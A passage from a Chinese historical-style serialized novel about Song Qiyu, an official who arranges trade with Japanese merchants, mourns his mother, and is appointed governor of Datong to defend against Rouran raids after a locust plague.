现今的同泰帝已经是一个行动迟缓、身体臃肿的胖子了。他坐在政事堂中,手里捏着几份奏折,对宰执们说:“前日,让卿等议的关于《青黄法》各项,你们可有奏对?”宰相赵松寿躬身行礼后,说道:“陛下,臣等认为《青黄法》虽有瑕疵,但对国库营收贡献巨大,若完全废止,恐对国家不利。故而,臣主张修善《青黄法》为宜,以使其更加合理,更易执行。”副宰相冯体仁也表达了相同的意见。同泰帝微微点头说:“朕也知善法不可轻废。只是,没想到这《青黄法》被各地官员执行成了这个样子,甚至屡屡激起民变。那么,卿等认为,如何修善《青黄法》为好呢?”副宰相刘睿躬身说:“陛下,其实百姓们所抵触的只是年利的数额。各地官员能够上下其手的也在年利的多少。只要朝廷严格规定利息额度,或者稍稍降些利息,所有的矛盾便都能化解。请陛下明察。”同泰帝又点了一下头说:“刘相所言不无道理。你们呢,你们怎么说?”冯体仁躬身说:“圣上,还应严格监察地方官放款的过程,勿使他们随意更改利息数额和还款时间。”执政温国刚也说道:“对那些肆意加重百姓负担的官员,和那些催逼过度,激起民变的小吏,朝廷应适时治罪,以安抚民心,慰藉民意,彰显吾皇圣德。”同泰帝想了想,说道:“既然如此,那就把年利降低一些,改为年利三分,还款时间吗,仍然定在年底。具体内容,你们几个再议一议,修善之后,颁行全国吧。”几位宰执赶紧跪地施礼,口称“微臣遵旨”。其后,同泰帝又与大臣们商讨了西北的军事、柔然对边境的滋扰和江南的盐茶等政务,才罢朝回宫。 第二十九回4 天道昭昭 申末时分,同泰帝摆架永春宫。白晨扶着皇帝的銮舆,一路跟从向内苑走去。快进文德门的时候,或许是因为同泰帝太过肥胖,或许是因为銮舆年久失修,銮舆的一侧竟然“咔嚓”一声塌陷了下去。同泰帝猝不及防,险些从銮舆上翻下。就在这时,门洞边站岗的一个军士飞身抢出,用肩膀一下子扛起了下沉的銮舆。受到惊吓的同泰帝被白晨搀着下了轿。白晨怒道:“蠢奴才,快换新銮舆来。”他又对后面喝道:“内廷司,把仪仗典守抓起来杖毙。若再有惊驾的事,你们这些奴才的命统统保不住。”内卫太监答应一声,如狼似虎地办差去了。同泰帝平静了一下,走到那名救驾的兵士面前说:“你立了功,朕会赏你的。”那兵士赶忙跪下磕了个头说:“小人是陛下提拔的,救驾是应该的,不敢启望奖赏。”同泰帝侧脸看了看,并不认得这个士兵,就问道:“朕何时提拔过你呀?”那兵士又磕了个头说:“皇上国事繁忙,自然不记得小人。同泰二年,您主持农祭,小人是帮您牵牛的孩童。您还赐我叫黄顺,把我捡拔到禁军培养。您对小人恩比天高,小人时刻不敢忘怀。”同泰帝又想了想,仍没想起这档子事,就胡乱应承说:“既然是朕捡拔的你,今日又立了功,那就先补个副尉吧。”黄顺哭着磕头说:“陛下对小人的知遇之恩,小人就是粉身碎骨也难报万一。”说话间,仪仗队已将备用銮舆抬了过来。同泰帝不再理会黄顺,在白晨的搀扶下,升轿进宫去了。 当天晚些时候,童道生回到府中,先研墨提笔给家人写信。夫人宋氏把茶饭端进屋内,说道:“老爷,忙了一天,吃了再写吧。”童道生莞尔一笑说:“给宣道兄长的信我已写成,一会儿便可发出。给岳丈和启元兄长的信,正要找夫人商议。”夫人先给童道生盛了碗面汤凉着,然后说:“是咱妹妹跟五哥成亲的事吧。”童道生站起身说:“两年前咱们结亲之时,就已议定把雅琴许配给启智,只是当时雅琴年龄尚小,故而拖后。现如今,雅琴年界十七,正当与启智婚配。只是,大娘的身体却每况愈下。我真是为老人家担心呀。”夫人过来挽住童道生说:“大娘是想在她走之前,看见五哥娶妻啊。待会,老爷可致信爹娘和我兄长,让他们多多费心,操办此事。不叫大伯和大娘劳神。有此大喜冲着,大娘的病也许能有转机。”童道生拍了拍夫人的手说:“但愿老天慈悲,让大娘能够康复。”童道生坐到桌边,又说道:“雅琴是我堂妹。妹妹大婚我本该出席。只是朝廷事繁,我恐怕难以脱身。故而,我想……”夫人把面汤端到童道生面前,打断他说:“老爷放心吧,行李和礼品我都已经备好了,这几日我便动身回转光裕,保证让咱妹妹风光出嫁。”童道生微微笑了笑说:“还是夫人体贴,那就有劳夫人了。” 第二十九回5 天道昭昭 九月的一天下午,邝玄先生领着宝通货栈的掌柜陈东银来见宋启愚。落座献茶,寒暄之后,宋启愚问:“陈掌柜是济南数得上的大财东,今日来见,所为何事?”陈东银笑着拱手说:“宋大人,陈某此来,是有一桩大买卖想请您出面协调。”宋启愚沉下脸,对邝玄说:“邝先生应该知道,凡是有关生意的事,都应通过山西货栈运作,我本人并不直接参与商贸活动。先生应领陈掌柜去见济南分号的翁先生才对。”邝玄施了一躬,笑着说:“大人莫怪,这桩买卖不是与国人做,而是与东瀛人做。且东瀛人想与我官方建立长期的贸易往来,故而,我才领着陈掌柜来见大人的。”宋启愚想了想说:“那就请陈掌柜先说说是怎样的买卖?”陈东银又拱了拱手说:“大人,您也知道,小号在济南还算是大买卖,但放到全国就不算什么了。前些时,我的登州分号来了一波东瀛客商。他们要大量订购茶叶、瓷器、丝绸、桐油、皮毛、文房、毡布等等货品。他们给的价格要比咱济南高出不少。可是,他们要的量太大,小号一时难以筹措。所以陈某才想着要与山西货栈共同经营这趟买卖。另外,茶叶是朝廷的禁榷商品,需要官方批文。故此,陈某才来向大人求助。”宋启愚听后,想了一会儿说:“对于海外贸易,朝廷并无明确态度。本府觉得,只要不涉及违禁物品,不危害我朝产业,完全可以与之互通有无。不过,按你所说,此次贸易牵扯的地区较多,你若通过山东巡抚衙门,办理相关手续似乎更为妥帖。”陈东银觉得知府有推辞之意,赶忙起身呈上一张文书说:“大人切莫推诿。您先看看这份货单,仅丝绸一项,其收购价格就比济南市面上高出了四成。”他又点指着单子上的项目说:“大人再看这桐油的价格,咱们从关中收购,加上运费,仍能赚取五成以上的利润。瓷器的利也有五成。皮毛的行市差了一些,但也有近两成的盈余。这批货物的总价值有九十万两白银,纯利就能达到三十五万两以上,按照我朝商十抽三的缴税比例,仅这一趟买卖就可为朝廷交纳十万两白银的税款。这贸易于国于民、于公于私都是有益无害的,还请大人明察。”宋启愚仔细看了一遍货单,摸着脸边的白色蜗痕问道:“这么多商品,东瀛人怎样支付货款呢?”陈东银赶忙答道:“他们用现银结算。而且,他们使用的银两我验过,成色相当好,比我朝的官锭和流通锭还要纯正。”宋启愚微微点了点头说:“听起来,确实是桩划算的买卖。这样吧,陈掌柜,你把东瀛商队的管事人带到府衙来。本府要亲自与他们会晤一番。”陈东银听后大喜,一躬到地说:“陈某多谢大人玉成此事。我这就让那些东瀛人准备厚礼,前来拜见知府大人。”宋启愚笑了笑说道:“陈掌柜忘了,本府这里从不收礼。你若再提收礼受贿之事,这桩买卖便只能作罢。”陈东银赶紧赔礼说:“大人责备的是,陈某糊涂。我这就去通知东瀛人。” 第二十九回6 天道昭昭 送走了陈东银,宋启愚转脸问邝玄:“先生。这陈掌柜是不是已经去过巡抚衙门了?”邝玄笑着说:“大人神算。他确实先求过单宏波和山东户司。那些官员既想捞好处,又怕担责任,都不敢承接此事。他这才找我来请大人帮忙。”宋启愚笑笑说:“也难怪,那些官员都是科举出身,没有经商做贾的经历,又看不起商人,天天聒噪着要‘重农抑商’。可是,国家的经济要繁荣又怎么离得开商人呢?”邝玄说:“宣道大人的意思是这次贸易可做?”宋启愚回转屋内,又说:“我认真看了那份货单,俱是寻常商品,价格非常合适。我们只用为其提供一份茶叶的引单,并无其它成本,而且,还能换回大量税银,何乐而不为呢?”宋启愚端起茶杯,喝了一口,又说道:“史书记载,东瀛曾有遣唐使来朝,而大唐也派使者去过东瀛,并恩赐了大量财帛和物品。当年,在翰林院,我偶尔看到过鉴真大师的《东游手记》,了解过少许东瀛的风土。知道那里的人虽与我们不是同族,但其长相与你我差别不大,甚至,他们还学习我们的礼仪制度。我早先也到柔然贩过货物,明白在异邦行商的不易。况且,东瀛弱小,大周势强,在这样的贸易中,我们是不会吃亏的。”邝玄呵呵笑着说:“若真能做成这笔大买卖,其利润相当可观啊。”宋启愚叹了口气说:“如果曹可用在就好了,我就可以派他去跟东瀛人接洽了。”旋即,他对门外喊道:“毛小。”一直候在门口的毛小答应一声,进屋给大人行了礼,问道:“不知大人有何吩咐?”宋启愚和蔼地说:“咱们山西货栈的翁先生你应该认识的。”毛小说:“是,小人认得。”宋启愚接着说:“一会儿,你去请他来。本府要派你们办件差事。”毛小问道:“可是与东瀛人贸易的事。”宋启愚一笑说:“呵呵,你倒是伶俐啊。就是这事。待我与东瀛客商会晤完毕,就由你们会同陈东银掌柜与他们做生意。另外,本府所开的茶引要交给你保管,以免引起不必要的麻烦。贸易结束之后,你仍要把茶引拿回来,最后销毁。”毛小应了声“诺”,又寻思了片刻,说道:“大人,在茶引上标明期限,是不是会更安全?”宋启愚立即明白了毛小的意思,哈哈大笑道:“好办法,这样本府所开的茶引就只能在标定的时间内使用,不怕被人盗用了。孺子可教啊。本府还希望你们能通过这单生意,开拓海外市场,打开外埠商路。”毛小又行了个礼,说:“请大人放心,毛小会尽全力,完成您的嘱托的。” 在接下来的两个月里,毛小领着侯宗、楚岩、张家奇等人来回穿梭于济南和登州、莱州之间,调配宝通货栈和山西货栈的商品,协调衙门、货栈与东瀛商队之间的关系,帮助东瀛人运货发货。毛小和侯宗又经常请东瀛人喝酒,为其创造舒适的生活环境。他们还处处留心,记录对方的生意需求,很快便与东瀛人建立起了良好的业务关系。十一月末,毛小在登州跟东瀛人交接完最后一批货物,让侯宗和张家奇留下收尾,自己带着楚岩回济南向宋启愚复命。 第二十九回7 天道昭昭 在府衙后堂,毛小详细地叙述了此次贸易的过程,又讲述了那些异邦人士的生活习惯。宋启愚、吴襄和邝玄饶有兴趣地听着。毛小说道:“这种海外贸易,利润确实大。东瀛毕竟是海上小国,各种物资奇缺。虽然这二百多年,他们在烧瓷、冶铁、种植、畜牧等方面都进步了许多,但毕竟基础薄弱,大宗商品仍然需要进口,而我大周自然成为了他们贸易的首选。我们这次与长崎港的岛津伟雄、有马宗实、立花三泰等人相处的都很融洽。他们也表示今后还会与我们继续贸易。”吴襄笑着说:“好小子,确实是个人才。宣道没有看错你呀。”宋启愚也说:“毛小遇事谨慎,爱动脑子,又善于学习,办事的确令人放心。”毛小不好意思地笑着说:“大人和大队长太抬举我了。能办好差事,也有侯宗、楚岩他们的功劳。”他又岔开话题说:“邝先生不是一直想知道,东瀛人的银两成色为什么那么好吗?”邝玄点点头说:“是啊,他们的银子又白又亮,纯度很高呀。”毛小拱手说道:“先生,我们上次跟东瀛人喝酒的时候,我就让通译问那个有马宗实。他当时喝多了,就顺嘴说他们那里有银矿,而且,东瀛的白银产量大得很。所以,跟我们贸易,他们实际上能赚取更多利润。”宋启愚微笑着跟吴襄说:“看来,真是后生可畏呀!他们这一代已经能够独当一面了。”宋启愚又问毛小:“侯宗和张家奇他们什么时候回济南?”毛小回答道:“这还不好说,要看东瀛人的情况。因为已经到了年底,北风甚紧,他们的海船无法起锚,说不定还要在登州过年。好在他们的主要货品均已出海,只剩下部分瓷器和桐油需要运回。”宋启愚高兴地说:“远来是客,他们又跟咱做成了这么大的生意,咱们也不能亏待了人家。通知侯宗好好招待东瀛人,能帮他们解决的困难,咱们尽量帮忙。”宋启愚又对吴襄说:“长白,警巡队这么能干,你这个当队长的是不是该表示表示呀?”吴襄哈哈大笑说:“没问题,今天咱警巡队聚餐,我来请客。宣道也得来赏光,象当年咱们在团练军时一样。” 这一晚,宋启愚睡得格外香甜。他梦到自己小时候在溪边的淤泥中摸泥鳅,又到藕塘里挖莲菜,抓青蛙;他又梦到母亲给他做了新棉衣,穿在身上十分暖和;接着,他梦见要和母亲出门去,天上突然下起了雨,母亲说:“儿啊,你等一会儿,娘拿伞去。”母亲走进大门时,回头说:“儿啊,娘去了!不许你淋雨啊。”宋启愚满头大汗地惊醒了。他坐在床上平复了好半天,才披上衣服下了地。白光映射在窗棂上,宋启愚痴痴地念叨着:“难道天已经亮了。”他缓步来到门前,伸手拉开了房门,但见黑漆漆的苍穹笼罩着大地,天上没有一颗星斗。一阵北风刮来,宋启愚打了个激灵。他这才发现昨夜的雪已在地上积了薄薄的一层。宋启愚心中掠过一丝阴云。他回到房中,呆呆地坐在桌前,脑子胡思乱想着,直到天明。 第二天傍晚,信鸽将噩耗传到了济南府衙,宋启愚的母亲于昨夜丑时病故了。 接到丧报的宋启愚大叫了一声“母亲”,便背过气去了。吴襄、余天锡、申鲤、毛小还有衙门里的属官又是拍打,又是呼喊,忙活了好一阵子,才将宋启愚唤醒。宋启愚两眼含泪,吩咐众人道:“家母已薨,我当即刻丁忧,回乡为母亲奔丧。”当晚,宋启愚便跟属官交接了工作,并向朝廷呈送了请求丁忧的折本。考虑到警巡队的安置和遣散问题,宋启愚本想把吴襄留在济南,可吴襄执意要回光裕寨。最终,宋启愚让吴襄挑选一百名警巡跟随自己回乡,而由余天锡负责警巡队的收尾工作。 次日早晨,宋启愚身穿重孝到仪门外与济南的属官们道别。当见到户司的官员时,宋启愚叮嘱道:“眼看到了年底,你们在追讨百姓欠国库的钱时,一定要按照新的标准执行,不许私自加征,也不可逼迫太甚。”他又对水司的官员说:“今年雨雪不足,你们以后仍要加强水利建设,尽量保障人民用水。”他还对兵司的官员嘱咐道:“先前推荐到城防军的警巡,都是愿为百姓服务的纯良之士,请你们用之任之,维护住咱济南良好的社会秩序……”属官们纷纷拱手,点头应诺。 到了下午,宋启愚决定回乡。他在吴襄的搀扶下,默默地上了车。吴襄挑开车帘,轻声吩咐道:“我在车里陪着大人。申鲤,毛小,出发吧。先慢一点,让大人再听一听济南的声音。” 这支孤独的队伍缓缓驶出了泺源门。他们抛下身后的千古名城,面对已是银装素裹的北方大地,迎着呼啸怒号的刺骨寒风,向着一抹残阳落去的方向,快速地开去了。 第三十回1 北方的飞螟 滹沱河北面的小山上开满了鲜艳的杜鹃。清晨,宋启愚采了一大把野花,供在母亲坟前。接着,他挽起衣袖,开始清扫整座家族墓园。太阳渐渐升起,曹可用带着刘戈上山来了。他们先把食盒放到宋启愚睡的石屋门口,又恭恭敬敬地给老夫人的墓行了礼,这才招呼宋启愚用饭。略显消瘦的宋启愚让两人在小屋前的空地上坐下,亲切地问:“警巡队和团练军今天训练得怎么样?哪一哨中午加肉菜呀?”曹可用嘿嘿一笑说:“训练得都不错。警巡队这边自然是毛小那一哨。团练军是承平那一哨,还有负责巡夜和警戒的‘后’字哨。”宋启愚又问:“昨天光照来送饭,我看他脸色不对,是出什么事了?”曹可用一指刘戈说:“前天,董阳的大侄子元度跟刘戈切磋武艺,结果输了。光照可就不依不饶了,要不是长白拦着,他非自己上场不可。”宋启愚微微笑了笑说:“光照的脾气还跟当年一样,一点都没有改变。”他又对刘戈说:“看来你的武艺确实不错,将来到了战场上,准能立功。不过,要是光照真的跟你比武,你可心里有点数,别伤了我的朋友。”刘戈憨憨地笑笑说:“那,那不能,我哪敢跟董团练动手呢。”宋启愚又说:“前一阵子国栋来信,讲了武州入春后又不下雨了。我想咱寨子里也得再掏上两口深井,以备不时之需。”曹可用说:“这些事大老爷已有安排。你就别操心了。”宋启愚接着问:“焦婶家的鸡找到了吗?听说她在街口还哭天抢地地骂了一通。”曹可用让刘戈去把饭拿来,回答说:“昨天下午就找着了。在咱这地面,啥东西都不会丢!是她自己没看好,飞到了丁开家。丁家送到寨公所,这才还的她。好兄弟,不说了,先把饭吃了。待会儿,哥哥陪你到智果寺走走,松快松快筋骨……” 又过了几天,宋启元和余天锡来看宋启愚。几个人爬上小山,远眺光裕寨。宋启愚说:“你们看,这坚固结实的城寨,蜿蜒曲折的小河,苍翠重叠的山峦,明艳清新的田垄,还有那衣冠简朴的乡党,亲切自然的乡音,多美的画卷啊!每每到了晚上,我仰头看着繁星闪烁,天河清晰,心里感到无比干净,就象回到了小时候一样。我真想长居于此,永不离开呀!”宋启元拍着兄弟的肩膀说:“二弟,精神恢复得不错。几个月前,家里和亲朋们全都非常担心你啊。曹可用、吴襄他们整夜整夜地派人在墓园近旁守着,生怕你出意外。”宋启愚怀着歉意笑了笑说:“宣道对不住大伙了。我没事。”余天锡从怀里摸出一叠信卷说道:“这是前一段收到的各地信息。其中特别重要的已经向您汇报过了。今日看大人心情好,就都拿出来,请您过过目。”宋启愚接过信卷,指了指前面的大石头说:“咱们坐下看。”他又问余天锡:“邝先生在济南还好吧?”余天锡躬身回道:“我岳丈一家全都安泰。咱济南的工坊运转正常。另外,岳丈还对冶炼产生了兴趣,又在工坊边上建起了一座冶铁锻造作坊。”宋启愚赞赏道:“邝先生能不断创新,坚持学习,真是我辈之楷模呀。”宋启愚坐下后,又问道:“这些日子我总能听到西边的山里炮声隆隆,是你的炮队在训练吗?”余天锡拱手说:“是。我上个月从济南撤回光裕时,带回了二百多人,还运回了二十门铁炮,加上之前大人在任上时运回的二十门铁炮,咱们的炮队已经拥有了强悍的战斗力。这要是不勤加操练,给荒废了,我就成了罪人了。”宋启愚一边看信卷一边问:“其他警巡怎样安置的?”余天锡回答说:“安排进城防军的有将近五百人;李向波大人要走了五十人;山西货栈和济南工坊安排了二百多人;回乡负责治安的近百人;其他人全都给了遣散费,让其自谋出路。”宋启愚又问:“侯宗、楚岩、张家奇咋安排的?”余天锡说:“咱们山西货栈专门在登州开了分店,他们就在那里供职,继续跟东瀛人打交道。”宋启愚接着问:“权正宜他们几个带回来了吗?”余天锡又一拱手说:“少不了他们,大人曾说他们是画图能手,我没有忘记。”宋启愚看着信卷,吩咐道:“回头让他们也到山西各地跑一跑,把咱这里的地形绘出来,就象之前绘制河南、湖北、山东、河北等地的图纸一样。”当看到一则消息时,宋启愚迟疑了片刻,说道:“陈昱做了关北巡抚!”宋启元笑笑说:“对,就是先前的代州知州,在应县还做过知县的。”宋启愚干咳了一下说:“那还不是仗着他父亲,岭南宣慰使陈标的运作吗。不过,这个人根本提不起来,既没有胆色,也没有担当,只会逢迎疏通,搜刮盘剥。把这样的人放在如此重要的位置上,和平时期倒也罢了,一旦边关有事,国家可就遭殃了……” 第三十回2 北方的飞螟 这样的日子转眼又过了一个多月。 这一天,老太公领着宋启智和承宗、承宇、承宸等重孙来到墓园。现在的太公须发皆白,已渐显老态,只是精神还算健旺。老太公坐在祖坟边的石墩上,一手拄着杖,一手引着承宸。他和蔼地对孙儿说:“宣道啊,你在这儿陪着母亲也快五个月了,后面一段时间,就换你兄弟来守吧。先前,我没来劝你,是知道你有孝心。现在,你也看到了,这里山清水秀、鸟语花香,是个安眠的好地方。”见宋启愚仍有些犹豫,太公又说:“昨夜,我偶得一梦,梦见女娲娘娘降临。她说你有救世之责,不能苦坏了身体,让我唤你回去。我再仔细看时,见你母亲站在娘娘身后,正向我含笑点头。宣道啊,此乃天意,也是你母亲向我拖的梦。你就跟我下山去吧。”宋启愚郑重地给祖父磕了个头,回答道:“既是娘娘所命,母亲所拖,孙儿跟祖父回去也就是了。”这时,小承宸举起小手说:“大,你看,哥哥给我逮的,会飞的。”宋启愚定睛细瞧,原来儿子手里捏着一只青绿色的飞蝗。宋启愚起身,摸了摸儿子的头说:“这蝗虫腿上有刺,当心让它蹬疼了手。”儿子笑嘻嘻地说:“它不敢,我也不怕。” 祖孙几人下山回寨的时候,路过了长势喜人的小米田。宋启愚一时兴起,还给子侄们抓了几只飞蝗。承宝、承宸等孩童兴高采烈地相互比较着谁手里的蚂蚱大。宋启愚的心里突然掠过一丝不安。他扶着太公说:“去年河北、热河、山东、淮北、河南等地遭遇大旱,估计漠北也有旱情,俗语说‘旱极必蝗’。咱们寨子里得为扑灭蝗虫做些准备才是。另外,咱们还得上书朝廷,通知大同、代州、朔州等地多储备些物资,防止发生蝗灾。”老太公眯缝着眼睛想了想,说道:“你这一说倒还真提醒了我,今年的飞螟确比往年多。回寨之后,你就看着安排吧。把事情交给你,我们大伙都放心。” 宋启愚分析得果然不错,在之前的一年多里,草原地区的旱情也很严重,尤其是松州到苏尼特草原之间的广阔区域,降水量仅为正常年份的三成,大片草场枯萎,成群的牛羊饿毙,许多牧民被迫迁移,柔然的经济遭受了沉重的打击。而今年的蝗灾更让柔然雪上加霜,整个国家入不敷出,政治格局极不稳定。在这种情况下,乌利可汗在跟贵族们商议后,做出了南侵周朝,抢掠富国的决定。但是,考虑到周朝强盛,乌利可汗并没敢大举入侵,而是派出了多路骑兵袭扰边境城镇。 这一天,大同城里的最高统帅陈昱,正在后衙数落着自己的心腹。他说:“父亲真是老糊涂了,给我谋了这么个破官。我在山西兜兜转转十年了,仍没跳出这个穷窝儿。当初,派你去见老大人,就是看你能说会道。你有没有把我的意思说清楚呀?河南、江南、山东、淮南哪怕荆襄、益州呢,那么多好地方,就不能替我弄一个来?”跪在地上的心腹回禀道:“老大人知道您委屈,也正在想辙。老大人说,您是捐的官儿,十三四年就能爬上巡抚高位,已属超拔。且关北地处边境,您易立功勋,两三年后,晋升大省巡抚也是有可能的。”陈昱大怒,骂道:“那老东西说的轻巧。我最怕的就是柔然人。先前任职代州和朔州还有一道长城护着,现在到了大同,城外不远就是沙漠和草原,我这心里能踏实吗?莫说两三年,两三天我都不想在这鬼地方呆。你拿上我这封信,再往云贵跑一趟,让老大人再活动活动,哪怕降个半级,也得把我安置个舒服地方。”心腹下人答应一声,接过书信,转身出去了。陈昱抄起茶碗,轻轻呷了一口,马上又吐了出来,骂道:“怎么还有沙尘,这是人喝的东西吗!” 第三十回3 北方的飞螟 几天后,陈昱接到哨探报告,说在大同北部发现了游弋的柔然骑兵。心里害怕的陈昱马上找来属官,商讨对策。大同镇守使段卫国详细地向陈昱介绍了城防体系。其他将领则不断强调,城外发现的只是小股敌军,并不能对大同构成威胁。大同知府弓康年还提议让陈昱亲自登城,检查城防,激励将士。陈昱听完了属官们的汇报,心里多少安定了些。可是,没过几天,一支数百人的柔然部队乘夜偷袭了城外的两处哨所。陈昱被手下人从梦中唤醒。他哆哆嗦嗦地登上城楼,望着远方熊熊燃烧的战火,脸上写满了惊恐。 第二天,陈昱不顾属官和将领们的极力反对,毅然带着五千精兵,以视察朔州防务为名,向南逃走。对于陈昱的行为,弓康年、段卫国等人相当不满。他们立即上书朝廷,要求惩治这个胆小怯战、临阵脱逃的边关巡抚。 陈昱的逃跑一下子涣散了大同的民心士气。驻扎城外的军兵纷纷找关系,想调回城里;而城内的驻军和官吏又要托人调往雁门关内;开小差、当逃兵的人也多了起来,甚至还有人公开抱怨:“只要柔然人打来,我们就投降。”在这种情况下,到了六月中旬,柔然大将扎兰丁率领六千骑兵突袭了大同城。柔然人的攻势十分猛烈,竟然一度冲进了大同的北卫城。幸亏段卫国率军死战,才又将柔然部队赶了出去。 边报传到京师,同泰帝正在病中。他强打精神坐起来,恼怒地骂道:“可恶!可恨!可杀!传旨,赐死这个……”一阵剧烈的咳嗽,掩盖了他的声音。白晨赶忙上前,边轻轻捶着同泰帝的背,边吩咐宫女用绢帕给皇上擦嘴、拭汗。白晨劝慰皇上说:“陛下息怒,保重龙体要紧。边疆战事偶有不利也属常事,命令边镇夺回失地,加强防守也就是了。为这等小事,动了真气实在不值。”白晨要过一小碗参汤,帮着同泰帝服下,又说:“至于那个怯战的陈昱,他父亲毕竟是岭南宣慰使陈标,若杀了他,恐伤了重臣之心。还请陛下三思。”同泰帝喘了一口粗气,恨恨地说:“你说陈标怎么养了这么个废物!好吧,派内卫去把他抓回来,夺职抄家,发配……嗯,就发配到西南军中效力。”白晨陪着笑答应道:“陛下仁厚,奴才遵旨。”同泰帝缓了缓,又说道:“现在,关键是要派个能臣镇守关北。宰执枢密们有什么人选吗?”白晨赶紧回道:“臣工们还未有定论。只是先呈送了几份北方的奏报。”同泰帝招招手说:“拿给朕看。”白晨急忙从外间桌案上取来一摞文书。他还特意将最下面的一份抽出放到了最上面。同泰帝拿起第一份,略略看了几眼,惊道:“北方的飞螟闹得这么厉害吗?前些时,热河、幽州的官员不是还上奏说,蝗虫不吃庄稼的吗?这折本是何人所奏?”同泰帝一看署名,顺口问道:“这个宋启愚现在何处?”白晨回答说:“正在大同,嗯,对,他正在大同为其母丁忧。”同泰帝又说:“他说山东、河北蝗虫肆虐,飞螟所过之处,庄稼树叶几乎被啃净。他还请求朝廷组织军民捕捉焚灭飞蝗,赈济受灾地区……”同泰帝突然似想起了什么,又问道:“你刚才说什么?宋启愚在大同丁忧?”他瞬间回忆起自己十年前被救时的场景。他灵机一动,吩咐道:“正好。传旨,宋启愚夺情,署理关北巡抚。另外,追赠其母二品诰命,以慰其心。”白晨听后十分高兴,躬身答道:“皇上圣明,奴才这就去传旨。” 第三十回4 北方的飞螟 自打大同遭袭,宋启愚就一直非常紧张。他整备军队,打造器械,储备物资,远派哨探,随时准备救援北方。现今,接到圣旨,宋启愚不敢耽搁,于当天就率领五百警巡和团练军,拉着三十门铁炮,前往大同就任。在路途中,宋启愚先发一令,命代州镇守使韩通率领五千边军进驻雁门关,扼守长城一线。同时,命韩德明率三千兵马进驻应县,守护大同的补给线。 到达大同后,宋启愚升座聚将。他没有急着下达军令,而是带着将领们登上城墙,仔细查看了每处防御工事,认真听取了属官们的汇报,又询问了十多名站岗的士兵,听他们介绍部队的情况。宋启愚又走进各个军营,了解兵士的生活和训练情况,检查刀枪兵器,视察粮库、马场和军械库,直到太阳西沉才回到巡抚衙门。宋启愚首先下令调陈昱带走的五千精兵回防大同。然后他朗声说道:“各位大人,列位将军,你们身处这兵凶战危之地,仍能心怀忠义,为国奋战,宋某很是敬佩。只是,通过今天的检查,宋某发现本城守备松懈,军心不稳,士兵们普遍缺乏斗志,训练不足。为此,传令下去,本官明日卯时将在校军场点兵,宣示军纪条例,凡大同将士,除去警戒站岗人员外,俱要到岗听宣。违令不到者,斩;轻慢迟误者,罚。”属官及部将们全都应诺听令。宋启愚又说:“明日点军,先由我带来的五百人表演训练规程,展示作战效果。然后,将其以每队分一伍的配比,对大同兵马进行轮训,争取在两月之内,把全军训练两轮。同时,为了快速熟悉部队,本巡抚今后仅白天在衙门办公,晚上则进驻各个军营,与士兵们同吃同住同训。庄必成,李开复。”两名军官应声答在。宋启愚说:“今晚酉正,本巡抚就到你二人的军营居住。为我准备营房一间,床铺五张,够我和亲兵安眠即可,不必单设住所。”二将跪地,高声应诺。宋启愚又说:“前次,柔然军队轻易地就突进了大同城,这会极大地刺激柔然人的野心,他们会认为我军城防松懈,有机可乘。也许在不久之后,柔然人就会派更大的部队前来袭扰。为此,我大同必须尽快做好战争准备。还有,就是弓大人、段大人和各位将军,要远派哨探,摸清敌情;还要加强对城内人员的排查甄别,防止奸细混入城中。”属官和将领们再次跪倒,齐声高喊道:“诺。” 当晚,宋启愚果然带着申鲤、康恩、刘戈、权正宜住进了兵营。他还亲自进营房查岗,上城头巡哨。在城墙上,权正宜轻声问宋启愚:“大人,您家在山西怎么这么有号召力呢?刚才我上茅厕,听有些军兵议论,只要有您在,这大同便可稳如泰山。”申鲤拍了权正宜一下说:“你小子,在光裕寨白呆了几个月。难道不知道大人祖上五世守边,代代忠义;十年前,大人亲率四百团练军歼敌数万的传奇故事吗?这大同的守军当中,可有不少人参与过当年的那场大战的。”宋启愚笑了笑说:“夸大了些,歼敌几千而已。不过,这也说明一个道理,只要你真的付出过血泪汗水,人们是不会忘记的。同时,也说明军队的训练是多么重要。后面一段时间,轮训本地的兵马,你们可不能马虎啊!” 第三十回5 北方的飞螟 第二天寅正刚过,宋启愚便起了身。他穿上统帅衣甲,带着亲兵,骑上战马,径直来到了校军场。约莫又过了一刻钟时间,随着三声长哨,从巡抚衙门方向传来了清澈的喊号声:“我们吃谁的饭?我们吃大周人民的饭!我们穿谁的衣?我们穿大周人民的衣!我们为谁打仗?我们为大周人民打仗!”喊号声由远及近,先是宋启智带着一队团练军奔进了校场。接着,毛小的队伍,吴襄的队伍,董阳的队伍,余天锡的队伍,曹可用的队伍,伍名的队伍先后来到了校场。宋启愚站在演武台上,向前跨出一步,朗声说道:“各位兄弟,你们是我以警巡队和团练军混合编制的训导营,对于你们的训练水平和作战能力我很有信心。今天,我要依靠你们轮训大同的军队,快速提升他们的战力,鼓舞他们的士气。你们可愿与我共同培养出一支钢铁强军?”台下的五百多人振臂高呼:“愿意!听从宋大人将令!”宋启愚把手向前一挥,斩钉截铁地说:“好!各部队按照预先安排,带开训练。天亮之后,希望你们能在校军场上展示出你们最强的本领。”台下的将士们嗷嗷叫着,在各自长官的带领下操练了起来。 卯正时分,近一万五千大同守军聚集到了校场上。宋启愚先命各营点了名,又命亲兵卫队核验了人数,让执刑队立即抓捕不到和迟到的军将。接着,宋启愚发表了简短的讲话,并命令毛小宣读了全军的条例和条令。紧跟着,宋启愚下令训导营演练开始。 当曹可用和宋启智率领一百名骑兵如旋风般突进校场,挥舞着马刀劈刺木桩时;当毛小和伍名带着一百大刀队表演完刀法套路,又呐喊着越过障碍,砍落一个个草人的脑袋时;当吴襄和董阳领着一百弓箭手发矢如雨,在短时间内,用两千支雕翎覆盖一百步开外的区域时;特别是,当余天锡指挥着二十名炮兵架上了两门铁炮,以平射的方式,摧毁了一百丈以外的目标时,所有的大同将士都被震撼了。他们由衷地相信,在这位新任巡抚的带领下,自己一定可以守住城池,也一定可以看到最后的胜利。他们开始心甘情愿于接受被这支虎狼之师训练的安排。 